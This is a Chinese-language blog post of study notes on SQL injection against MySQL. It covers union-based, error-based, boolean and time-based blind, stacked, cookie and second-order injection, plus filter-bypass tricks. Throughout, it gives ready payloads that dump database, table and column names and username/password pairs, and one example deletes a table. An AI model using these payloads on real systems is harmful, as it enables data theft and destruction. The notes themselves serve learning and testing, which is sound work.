sql

SQL注入分类

依据注入点类型分类

  • 数字类型的注入
    • 在 Web 端大概是 http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1 and 1=1
  • 字符串类型的注入
    • 在 Web 端大概是 http://xxx.com/news.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin'。注意多了引号。组合出来的sql注入语句为:select * from news where chr='admin' and 1=1 ' '
  • 搜索型注入
    • 这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%'。组合出来的sql注入语句为:select * from news where search like '%测试 %' and '%1%'='%1%'。测试%' union select 1,2,3,4 and '%'='。

依据提交方式分类

  • GET注入
    • 提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
  • POST注入
    • 使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
  • COOKIE注入
    • HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
  • HTTP头注入(XFF注入、UA注入、REFERER注入)
    • 注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

依据获取信息的方式分类

  • 联合查询注入
    • 可以使用union的情况下的注入。
  • 基于报错的注入
    • 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。把查询语句与报错信息拼接,一起显示出来。
  • 基于布尔的盲注
    • 即可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注
    • 即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  • 堆查询注入
    • 可以同时执行多条语句的执行时的注入。

联合查询注入

1.判断注入点

2.判断注入点类型

3.判断查询列数

order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字 段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次类推。我们可以通过二分法来猜解列数。输入 order by 4 #  发现页面错误,说明没有4列;输入3列时,页面正常,说明有3列。

4.判断显示位

?id=-1' union select 1,2,3--+

UNION的作用是将两个select查询结果合并。

5.获取数据库名

?id=-1' union select 1,2,database()--+  查看当前数据库
?id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1--+  查看数据库 ;       
?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看所有的数据库;

6.获取表名

?id=-1' unionselect1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表;   
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+查看所有的表;

7.获列名

?id=-1' union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+  查询字段信息;
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+查看所有的字段信息;

8.获取列中的信息

?id=-1‘ union select 1,2,concat_ws(’~‘,username,password) from security.users limit 1,1--+  查询一个信息;
?id=-1’ union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+  查询所有信息。

报错注入

报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

id=1‘ and updatexml(1,concat(0x7e,(database())),1) or ’1‘=‘1 报错出数据库;

id=1‘ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or ’1‘=‘1 查询所有的数据库,使用limit进行逐个查询。

常用的报错语句模板:

1. 通过floor报错

and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

其中payload为你要插入的SQL语句

需要注意的是该语句将 输出字符长度限制为64个字符

2. 通过updatexml报错

and updatexml(1, payload,1)

同样该语句对输出的字符长度也做了限制,其最长输出32位

并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

3. 通过ExtractValue报错

and extractvalue(1, payload)

输出字符有长度限制,最长32位。

布尔盲注

盲注与其他注入有所不同,普通注入查询正确会返回结果。而在盲注的sql查询中,服务器只会返回是,不是两种回答,因此就给我们的注入带来了麻烦,手工盲注的工作量是普通注入的几十倍之多,一般来说我们采用自动化注入工具,如sqlmap来实现。

id=1‘ and ascii(substr((select database()),1,1)) > 16--+

id=1‘ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >17 --+先通过大于号或者小于号来判断数据库的第一个字母是哪一个;

id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115--+此时可以验证数据库中第五个数据库的第一个字母是s

id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) >11 --+判断security数据库中的第4个表中的数据的第一位是否大于11;

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) =117 --+验证数据库中第4个表中的数据的第一位的第一个字母的ascii码是否是117,也就是 u。

时间盲注

Timing Attack注入,也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。

在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。

利用前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒。

http://127.0.0.1/sqli/Less-1/?id=1' and sleep(5) --+//判断是否存在延时注入

id=1‘ and sleep(5)--+ 使用延迟的方法判断是否存在注入漏洞;

id=1‘ and if(length(database()) = 8,1,sleep(5))--+当为8的时候很快加载,而为其他值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security);

id=1' and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s;

id=1‘ and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+同理判断数据库中的第5个数据库的第一位的ascii的值是不是大于112(实际中是115),如果是的则速度返回,否则延时5s返回结果;

堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

宽字节注入

宽字节注入是由于不同编码中中英文所占字符的不同所导致的。通常来说,在GBK编码当中,一个汉字占用2个字节。而在UTF-8编码中,一个汉字占用3个字节。在php中,我们可以通过输入 echo strlen("中") 来测试,当为GBK编码时,输入2,而为UTF-8编码时,输出3。除了GBK以外,所有的ANSI编码都是中文都是占用两个字节。

常用符号

空格 :%20

单引号: %27

#: %23

\ :%5C

字符集 

ASCII 编码:单字节编码

latin1 编码:单字节编码

gbk 编码:一个字符占1个字节**,两个字节以上叫宽字节**,设置“set character_set_client=gbk”(gbk编码设置),通常导致编码转换的注入问题,尤其是使用php 连接mysql数据库的时候,一个gbk汉字占两个字节,取值范围是(编码位数):第一个字节是(129-254),第二个字节(64-254),当设置gbk编码后,遇到连续两个字节,都符合gbk取值范围,会自动解析为一个汉字
UTF-8 编码:使用一至四字节编码, 0x00–0x7F 范围内是一位,和 ASCII 保持一致。其它字符用二至四个字节变长表示。 由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(UniversalTransformation Format)。

二次注入

二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

1、黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。

2、服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。

3、黑客向服务端发送第二个与第一次不相同的请求数据信息。

4、服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。

5、服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功

cookie注入

注入字段在cookie数据中

1.判断字段数

order by

2.union select 联合查询,获取表名

0‘ union select 1,group_concat(table_name),3  from information_schema.tables  where table_schema = database() --+

3. union select 联合查询,获取列名

0' union select 1, group_concat(column_name),3 from information_schema.columns  where  table_name = 'uisers' --+

4. union select 联合查询,获取字段值

0' union select 1, group_concat(username,0x3a,password),3 from users --+

SQL注入绕过

基本绕过方法

  1. 大小写
  2. 双写
  3. 编码(URL编码、十六进制编码、Unicode编码、ascii编码)
  4. 内联注释(把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行)

空格绕过

  1. 用注释替换空格select/**/user,password/**/from /**/users;
  2. 空格url编码%20
  3. 两个空格代替一个空格
  4. 用Tab代替空格
  5. %a0=空格
  6. 如果空格被过滤,括号没有被过滤,可以用括号绕过select(user())from dual where(1=1)and(2=2)
  7. 回车

引号绕过

1.使用十六进制

例如:select column_name from information_schema.columns where table_name='users'

如引号被过滤,就可以尝试使用十六进制来进行绕过

即可以将语句写为:select column_name from information_schema.columns where table_name=0x7573657273;

2.已经得知数据库名称和表名

select column_name from information_schema.columns where table_schema=database();

查询所在数据库中的所有列名,猜测哪些字段在哪个表中,

select username,password from users;

3.宽字节注入

逗号绕过

在使用盲注的时候,需要使用到substr(),mid(),limit,这些子句方法都需要使用到逗号

1.对于substr()和mid()这两个方法可以使用from的方式来解决:

select substr(database() from 1 for 1);

2.使用join

union select 1,2 可以使用下面的句子代替

union select * from (select 1)a join (select 2)b

3.使用like

select ascii(mid(user(),1,1))=80 可以使用下面的句子代替

select user() like 'r%'

4.limit中,使用offset绕过

limit 1offset0

or and xor not绕过

  1. 利用符号替换and = && or=|| xor=| not=!
  2. 在敏感词中添加注释:an/**/d
  3. 双写绕过oorr
  4. 大小写变形
  5. 编码

注释符绕过

  1. id=1' union select 1,2,3 or '1'='1或者:id=1' union select 1,2,'3
  2. 最后添加or 1'
  3. 最后添加 and '1'='1

=绕过

  1. 使用like
  2. 使用!<>,<>是不等于
  3. regrep (正则表达匹配)

<>被过滤

  1. greatest(),least()
  2. strcmp(str1,str2),第一个参数小于第二个参数,返回-1,否则为1
  3. in,between a and b

等价函数

hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()

union select 绕过

SQL注入攻击流程

1.判断注入点

  • 易出现SQL注入的功能点:凡是和数据库有交互的地方都容易出现SQL注入,SQL注入经常出现在登陆页面、涉及获取HTTP头(user-agent / client-ip等)的功能点及订单处理等地方。例如登陆页面,除常见的万能密码,post 数据注入外也有可能发生在HTTP头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 i p的,有可能会被存储进数据库中从而与数据库发生交互导致sql注入。
  • 先加单引号'、双引号"、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入漏洞。
  • 在URL后面加 and 1=1返回正常,and 1=2错误,则存在SQL注入漏洞。
  • Timing Attack测试,即时间盲注。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。

2.判断注入点类型

数字型注入点

http://host/test.php?id=100 and 1=1 返回成功
http://host/test.php?id=100 and 1=2 返回失败

字符型注入点

http://host/test.php?name=man' and '1'='1 返回成功
http://host/test.php?name=man' and '1'='2返回失败

搜索型注入点

http://host//test.php?keyword=python%' and 1=1 and '%'='
http://host//test.php?keyword=python%' and 1=2 and '%'='

3.获取数据库数据

mysql数据库

在mysql以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息,其中具有表schema(数据库名)、tables(表名)、columns(列名或字段名)

在schama表中,  schema_name 字段用来存储数据库名

在tables表中,     table_schema和table_name 分别用来存储数据库名和表名

在columns表中, tables_schema(数据库名)、table_name(表名)、column_name(列名或字段名)

sql数据库增删改查

insert   into    table_name(列名1,列名2)  values (值1,值2)

update 表名字  set  列名称 = 新值  where  列名称 = 旧值

delete  from   表名  where  列名称 = 值

mysql常用的聚合函数

user()          查看当前Mysql登录用户名

database()     查看当前使用Mysql数据库名

version()        查看当前Mysql版本

limit 关键字  limit m n  从m行开始,向下n个结束

posted @ 2021-08-06 23:16  凇岳  阅读(151)  评论(0)    收藏  举报